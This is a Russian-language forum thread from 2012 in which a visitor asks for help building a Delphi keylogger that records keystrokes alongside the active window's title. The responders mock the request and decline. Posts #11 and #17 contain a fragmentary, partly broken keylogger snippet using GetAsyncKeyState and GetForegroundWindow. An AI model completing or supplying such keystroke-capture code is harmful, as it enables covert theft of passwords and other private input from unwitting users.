|
Вопрос # 6 219/ вопрос закрыт / |
|
Здравствуйте!
Помогите мне нужно сделать так как на картинки прошу помогите кто может !
К вопросу прикреплён файл. Загрузить » (срок хранения: 60 дней с момента отправки вопроса)
 |
Вопрос задал: Alex-9 (статус: Посетитель)
Вопрос отправлен: 30 июня 2012, 18:36
Состояние вопроса: закрыт, ответов: 0.
|
Мини-форум вопроса
Всего сообщений: 19; последнее сообщение — 2 июля 2012, 08:19; участников в обсуждении: 3.
|
min@y™ (статус: Доктор наук), 30 июня 2012, 18:50 [#1]:
Цитата (Alex-9):
нужно сделать так как на картинки
Ну, надеюсь, в тексте не ошибся...
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 19:04 [#2]:
Цитата (Alex-9):
Мне нужно получить активное окно в Memo1, но так чтобы оно менялось при нажатии на клавиши.
Например, я открыл мой компьютер, нажал на любую клавишу и в memo1 отобразился заголовок активного окна и так далее..
А почему этого нет в тексте вопроса?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 19:07 [#3]:
Не знал как объяснить)) ты можешь добавить меня в скайп ?
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 19:09 [#4]:
Цитата (Alex-9):
Не знал как объяснить
Тогда зачем задавал вопрос?
Цитата (Alex-9):
ты можешь добавить меня в скайп ?
Могу, но нет смысла. У меня сдохла веб-камера, а сходить купить новую мне лень.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 19:14 [#5]:
Я бы по скайпу передал бы исходник) в исходнике есть уже keylogger мне только надо сделать так что-бы клавиши водились в активном окне как на картинки
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 19:17 [#6]:
Цитата (Alex-9):
Я бы по скайпу передал бы исходник
А зачем он мне?
Цитата (Alex-9):
в исходнике есть уже keylogger мне только надо сделать так что-бы клавиши водились в активном окне как на картинки
Ты от меня личное сообщение не получил, да?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 19:21 [#7]:
да )) так я прошу тебя ты можешь мне помочь?? я дам тебе исходник его доработать
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 19:27 [#8]:
Цитата (Alex-9):
да
А ты читал, что я в нём написал? Если читал, то что ты об этом думаешь?
Цитата (Alex-9):
))
Нажми вот на эту ссылку.
Цитата (Alex-9):
я дам тебе исходник его доработать
Я не копаюсь в чужом коде. Пишу с нуля, либо советую, как написать.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 19:30 [#9]:
Можешь тогда посоветовать ?
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 19:36 [#10]:
Цитата (Alex-9):
Можешь тогда посоветовать ?
Могу.
Совет №1: пользуйся, блин, знаками препинания! А то так и хочется взять красную ручку и исправлять, исправлять, исправлять... Перечитывай, пожалуйста, свои сообщения, прежде чем нажать на кнопку "Добавить сообщение".
Какие ещё советы тебе нужны? Спрашивай.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 19:45 [#11]:
Вот сам код (keylogger)
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
65..90 : // a..z , A..Z
begin
if GetKeyState(VK_SHIFT)<0 then
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
end;
end;
end;
end;
end;
end.
/////////////
А вот сам код активного окна
Var
wnd1,wnd2:hwnd;
A:array[0..255] of char;
begin
wnd1:=FindWindow(nil,'Диспетчер задач Windows');
wnd2:=GetForeGroundWindow;
//По хэнделу можно определить заголовок окна функцией GetWindowText
GetWindowText(wnd2,A,255);
Memo1.text:=('Окно'#13#10+A);
///
Сделай пожалуйста, так как на картинки
|
|
|
min@y™ (статус: Доктор наук), 30 июня 2012, 20:01 [#12]:
Цитата (Alex-9):
Вот сам код (keylogger)
Жуть какая!
Цитата (Alex-9):
Я не понял, что делает этот код.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 20:03 [#13]:
Извини за вопрос ты разбираешься в Delphi ????
|
|
|
Alex-9 (статус: Посетитель), 30 июня 2012, 20:23 [#14]:
Мне нужно чтобы keylogger отлавливал клавиши в memo1, А сверху чтобы отображался заголовок активно окна то есть где были введены эти клавиши (я думаю понятно)
|
|
Толяныч (статус: 4-ый класс), 1 июля 2012, 13:30 [#15]:
Понятно, чел хочет пин-коды с банкомата сдирать. min@y™, когда пойдешь соучастником, я буду свидетелем, что ты долго упирался, и только под воздействием грубой физической силы... 
>> Извини за вопрос ты разбираешься в Delphi ????
Не, блин, какой наглец ! Ангельское терпение надо иметь, чобы не послать на конец латинского алфавита .
|
|
|
min@y™ (статус: Доктор наук), 1 июля 2012, 14:18 [#16]:
Цитата (Alex-9):
Извини за вопрос ты разбираешься в Delphi ????
Это кому вопрос-то? Если ко мне, то нет, конечно. Видел Delphi пару раз по телевизору лет 10 назад. И всё.
Цитата (Толяныч):
пин-коды с банкомата сдирать
Да, сбербанковские банкоматы работают под WinXP. Только как в них всунуть свой кейлоггер?
Цитата (Толяныч):
Ангельское терпение надо иметь, чобы не послать на конец латинского алфавита .
У меня дьявольское терпение! Очень хочется увидеть то, чем закончится эта эпопея.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
min@y™ (статус: Доктор наук), 1 июля 2012, 16:06 [#17]:
// Вот сам код (keylogger)
var
i : byte;
begin
for i:= 8 To 222 do // почему 222?
if GetAsyncKeyState(i) = -32767
then case i of
65..90: // a..z , A..Z
if GetKeyState(VK_SHIFT) < 0
then // <--- не понял, а где действия по then?
else memo1.text:= memo1.text + UpperCase(Chr(i)) //A..Z
end; // case
end;
end. // end of unit ?
//А вот сам код активного окна
Var
wnd1, wnd2: hwnd;
A: array[0..255] of char;
begin
wnd1:= FindWindow(nil, 'Диспетчер задач Windows'); // зачем нужен этот хэндл?
wnd2:= GetForeGroundWindow; // активное окно
//По хэнделу можно определить заголовок окна функцией GetWindowText
GetWindowText(wnd2, A, 255); // не факт
Memo1.text:= 'Окно'#13#10 + A; // и чо дальше?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
|
Alex-9 (статус: Посетитель), 1 июля 2012, 16:28 [#18]:
Я вас попросил нормально разобраться)) видимо не чего вы не знаете! и начинаете строить от себя такого человека не понимающего ))) тему можно закрывать ))
знал бы ты Delphi я думаю ты бы исправил код, А не съезжал бы с темы (все могут болтать языком) Что здесь трудного для программиста ???
|
|
|
min@y™ (статус: Доктор наук), 2 июля 2012, 08:19 [#19]:
Цитата (Alex-9):
Я вас попросил нормально разобраться
Да неужели?! Точно "нормально" просил?
Цитата (Alex-9):
видимо не чего вы не знаете!
Угадал! Ничего мы не знаем.
Цитата (Alex-9):
и начинаете строить от себя такого человека не понимающего
Ну, это ты загнул! Строить мы не умеем: мы же не строители.
Цитата (Alex-9):
тему можно закрывать
Щас закрою.
Цитата (Alex-9):
знал бы ты Delphi я думаю ты бы исправил код
Да не знаю я Delphi, я ваще уборщица. Та писанина, что ты называешь "кодом", анализу не поддаётся.
Цитата (Alex-9):
Что здесь трудного для программиста ???
Понятия не имею. Я ж не программист.
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
2 июля 2012, 08:19: Вопрос закрыт (решение принял min@y™): По просьбе аффтара.
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|
